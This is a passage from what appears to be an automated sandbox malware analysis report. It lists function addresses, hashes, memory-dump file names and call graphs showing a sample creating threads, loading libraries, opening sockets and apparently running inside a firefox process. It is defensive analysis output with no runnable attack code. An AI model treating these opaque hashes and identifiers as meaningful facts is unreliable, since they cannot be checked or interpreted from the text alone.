                                • Instruction ID: e314d398f0abbc012fe97fe494a969d479ece6c69fdc74852ddce38826ab053c
                                • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                • Instruction Fuzzy Hash: 3C919670E002569BDF24DE6BC891ABEB7A5FFC4720F14459AE855E72C0EF34E94097A0
                                Function 04BA9126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID:
                                • String ID: $$@
                                • API String ID: 0-1194432280
                                • Opcode ID: 8bb6187e91278a39b575f6e9cb04a23528cbed35932d44f4c22bb524056ff08a
                                • Instruction ID: ecbe2c7036d78717ef22d04e50bb131a968ecb7a13659241160e4530a5027ac0
                                • Opcode Fuzzy Hash: 8bb6187e91278a39b575f6e9cb04a23528cbed35932d44f4c22bb524056ff08a
                                • Instruction Fuzzy Hash: C7812FB5D002699BDB31CF54CC48BEEB7B4AB48754F0045DAE919B7280D770AE94DFA0
                                Function 04C2CEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                Download Yara Rule
                                APIs
                                • @_EH4_CallFilterFunc@8.LIBCMT ref: 04C2CFBD
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: CallFilterFunc@8
                                • String ID: @$@4_w@4_w
                                • API String ID: 4062629308-713214301
                                • Opcode ID: 7914e844b1a1a64fc4080ba77338481ab144b851f1924977cf5d8e3d1f975529
                                • Instruction ID: b614e09be0e08e6fe319e8b0c7d688b13f3c32e323b3d3c57d727ccebc19ff8b
                                • Opcode Fuzzy Hash: 7914e844b1a1a64fc4080ba77338481ab144b851f1924977cf5d8e3d1f975529
                                • Instruction Fuzzy Hash: E641A071A00264EFDB219F99D944ABEBBF9FF54B04F00406AE945DB260D7B4ED01CBA1

                                Execution Graph

                                Execution Coverage:21.5%
                                Dynamic/Decrypted Code Coverage:0%
                                Signature Coverage:0%
                                Total number of Nodes:3
                                Total number of Limit Nodes:0
                                execution_graph 56 56efe0d 57 56efe14 socket 56->57 59 56efec4 57->59

                                Callgraph

                                • Executed
                                • Not Executed
                                • Opacity -> Relevance
                                • Disassembly available
                                callgraph 0 Function_056EFE0D 3 Function_056EFC47 0->3 1 Function_057158D7 2 Function_056FB216

                                Executed Functions

                                Function 056EFE0D Relevance: 1.7, APIs: 1, Instructions: 156networkCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 0 56efe0d-56efe13 1 56efe14-56efe22 0->1 2 56efe4b-56efe4f 1->2 3 56efe23 1->3 5 56efea5-56efea8 2->5 6 56efe51-56efe6c 2->6 3->2 4 56efe25-56efe49 3->4 4->1 8 56efeab-56efeaf 5->8 7 56efe77-56efe7d 6->7 7->5 9 56efe7f-56efea3 7->9 8->8 10 56efeb1-56efebe socket 8->10 9->7 12 56eff5b-56eff64 10->12 13 56efec4-56efecb 10->13 20 56eff66-56eff97 12->20 21 56eff12 12->21 14 56efed6-56efedc 13->14 16 56efede-56eff02 14->16 17 56eff04-56eff08 14->17 16->14 18 56eff4a-56eff58 call 56efc47 17->18 19 56eff0a-56eff11 17->19 18->12 23 56eff1c-56eff22 19->23 26 56efff8 20->26 27 56eff99-56effb0 20->27 24 56eff13-56eff19 21->24 23->18 28 56eff23-56eff48 23->28 24->23 27->26 28->24
                                APIs
                                Memory Dump Source
                                • Source File: 0000000A.00000002.2774568025.00000000056D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 056D0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_10_2_56d0000_RtAXBNCRrMdm.jbxd
                                Similarity
                                • API ID: socket
                                • String ID:
                                • API String ID: 98920635-0
                                • Opcode ID: 31e10a852c696b4fbcbb1ae39a7c761b7cd18c72381bc9fadc4b8b329adff6fc
                                • Instruction ID: 3366f36bb6e6f0d049915dfc05382d18367499fff9b58b59c653d7c1893ebc1f
                                • Opcode Fuzzy Hash: 31e10a852c696b4fbcbb1ae39a7c761b7cd18c72381bc9fadc4b8b329adff6fc
                                • Instruction Fuzzy Hash: 46518171E0A158DFCB09CF98D490AECFBF2BF49314F188099E416AB351C735A946CB54

                                Execution Graph

                                Execution Coverage:4.3%
                                Dynamic/Decrypted Code Coverage:0%
                                Signature Coverage:0%
                                Total number of Nodes:44
                                Total number of Limit Nodes:4
                                execution_graph 5131 15f59c0aac0 5132 15f59c0aaf2 5131->5132 5133 15f59c0ab72 5132->5133 5134 15f59c0ab44 CreateThread 5132->5134 5146 15f59c1b48f 5147 15f59c1b494 5146->5147 5150 15f59c1b318 5147->5150 5149 15f59c1b499 5151 15f59c17268 2 API calls 5150->5151 5152 15f59c1b32d 5151->5152 5152->5149 5110 15f59c14bf2 5113 15f59c14bf7 5110->5113 5111 15f59c14c24 5112 15f59c14c60 LdrLoadDll 5112->5111 5113->5111 5113->5112 5114 15f59c1b318 5117 15f59c17268 5114->5117 5116 15f59c1b32d 5119 15f59c17274 5117->5119 5118 15f59c17279 5118->5116 5119->5118 5121 15f59c17356 5119->5121 5123 15f59c0aac8 5119->5123 5121->5118 5122 15f59c173c7 ExitProcess 5121->5122 5125 15f59c0aaf2 5123->5125 5124 15f59c0ab72 5124->5121 5125->5124 5126 15f59c0ab44 CreateThread 5125->5126 5126->5121 5127 15f59c0b728 5130 15f59c0b744 5127->5130 5128 15f59c0b7de 5129 15f59c0b76b SleepEx 5129->5130 5130->5128 5130->5129 5135 15f59c0aa98 5136 15f59c0aaad 5135->5136 5137 15f59c0aae5 5135->5137 5138 15f59c0ab72 5137->5138 5139 15f59c0ab44 CreateThread 5137->5139 5140 15f59c1725c 5142 15f59c1726c 5140->5142 5141 15f59c17279 5142->5141 5143 15f59c0aac8 CreateThread 5142->5143 5144 15f59c17356 5142->5144 5143->5144 5144->5141 5145 15f59c173c7 ExitProcess 5144->5145 5153 15f59c1b46b 5154 15f59c1b47d 5153->5154 5155 15f59c1b318 2 API calls 5154->5155 5156 15f59c1b482 5155->5156

                                Executed Functions

                                Function 0000015F59C0AA98 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 0000000C.00000002.2303416370.0000015F59B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000015F59B90000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_12_2_15f59b90000_firefox.jbxd
                                Similarity
                                • API ID: CreateThread
                                • String ID: $
                                • API String ID: 2422867632-3993045852
                                • Opcode ID: 1560d1cdc47d5bbb845c98f17ad0bbed82b3544eb7b819fb9239513cd57792b4
                                • Instruction ID: 62a59105446b49b132e773a16187894a4545d4210431579d3cbb4a7303874cb2
                                • Opcode Fuzzy Hash: 1560d1cdc47d5bbb845c98f17ad0bbed82b3544eb7b819fb9239513cd57792b4
                                • Instruction Fuzzy Hash: CD21D13111CA458BEB4CAF28D54E3E9BBD0FB86315F0846BED44A8B1C3EB269547C746
                                Function 0000015F59C1725C Relevance: 1.6, APIs: 1, Instructions: 114COMMON
                                Download Yara Rule

                                Control-flow Graph

                                Memory Dump Source
                                • Source File: 0000000C.00000002.2303416370.0000015F59B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000015F59B90000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_12_2_15f59b90000_firefox.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 6d8aef7254da4f2cc668c891dbfbb0551e4a484139bef5080b3e0bb8a5de423c
                                • Instruction ID: 8b758e80c01f027ade43e697d726d730ed2657ab409753fc18452cc9cf9ba9f3
                                • Opcode Fuzzy Hash: 6d8aef7254da4f2cc668c891dbfbb0551e4a484139bef5080b3e0bb8a5de423c
                                • Instruction Fuzzy Hash: E1418730524E46DAEBA8BB248E893DE66D1BBDA301FC8093D9449CA183FF748507D715
                                Function 0000015F59C0B728 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                Download Yara Rule

                                Control-flow Graph

                                APIs
                                Memory Dump Source
                                • Source File: 0000000C.00000002.2303416370.0000015F59B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000015F59B90000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_12_2_15f59b90000_firefox.jbxd
                                Similarity
                                • API ID: Sleep
                                • String ID:
                                • API String ID: 3472027048-0
                                • Opcode ID: 86a4a996052adacc980111a043f1024099f189e6c1c68a9edede3aff0011f074
                                • Instruction ID: 3b4b39de79f3de2e31988040c45224731a49674c347958d8709dff4d541e37fa
                                • Opcode Fuzzy Hash: 86a4a996052adacc980111a043f1024099f189e6c1c68a9edede3aff0011f074
                                • Instruction Fuzzy Hash: D8219530524F16CBEF99FB188A997AD76D8E786701F04057DA40ECB297EB248942C651
                                Function 0000015F59C0AAC0 Relevance: 1.6, APIs: 1, Instructions: 55threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                APIs
                                Memory Dump Source
                                • Source File: 0000000C.00000002.2303416370.0000015F59B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000015F59B90000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_12_2_15f59b90000_firefox.jbxd
                                Similarity
                                • API ID: CreateThread
                                • String ID:
                                • API String ID: 2422867632-0
                                • Opcode ID: f8690819afc9fe2bb6b37dfe97a2ba38bbd315416ea714897b8a3433cf7b9ea3
                                • Instruction ID: cf97df8b151e8c32564aaa6e934384dfa8808af83f20c32c174cceb009800f03
                                • Opcode Fuzzy Hash: f8690819afc9fe2bb6b37dfe97a2ba38bbd315416ea714897b8a3433cf7b9ea3
                                • Instruction Fuzzy Hash: 7411A330124A068BE748EF28C98D3EAB6E5FB89305F08467DE449CB2C6EB749547C781
                                Function 0000015F59C14BF2 Relevance: 1.6, APIs: 1, Instructions: 55libraryloaderCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                APIs
                                Memory Dump Source
                                • Source File: 0000000C.00000002.2303416370.0000015F59B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000015F59B90000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_12_2_15f59b90000_firefox.jbxd
                                Similarity
                                • API ID: Load
                                • String ID:
                                • API String ID: 2234796835-0
                                • Opcode ID: 5d69f5631f57861b340bc2a0a3d71a5eca974f0b6d9381046182a23975b73e2b
                                • Instruction ID: 0f607904f30d957df84c4bf7b248a031e96fd8fe0df3aab5ce64d5c33fe71414
                                • Opcode Fuzzy Hash: 5d69f5631f57861b340bc2a0a3d71a5eca974f0b6d9381046182a23975b73e2b
                                • Instruction Fuzzy Hash: 9411A130128E498BE758F724CA996EA72D0FBD8306F04053DA849CA181FB25C647E686
                                Function 0000015F59C0AAC8 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                APIs
                                Memory Dump Source
                                • Source File: 0000000C.00000002.2303416370.0000015F59B90000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000015F59B90000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_12_2_15f59b90000_firefox.jbxd
                                Similarity
                                • API ID: CreateThread
                                • String ID:
                                • API String ID: 2422867632-0
                                • Opcode ID: 0a0938164060cce280e8f5fa1073effe0fdb07938ebaf7b669261b7ed7c73832
                                • Instruction ID: b23810b7eef73fb71c3782edd366e1515922db05525dc94ddc95bba998c2548f
                                • Opcode Fuzzy Hash: 0a0938164060cce280e8f5fa1073effe0fdb07938ebaf7b669261b7ed7c73832
                                • Instruction Fuzzy Hash: A2118230224A068BE748EF28C99D3DAB6E5FB89305F09467DE409CB2C6EB788546C741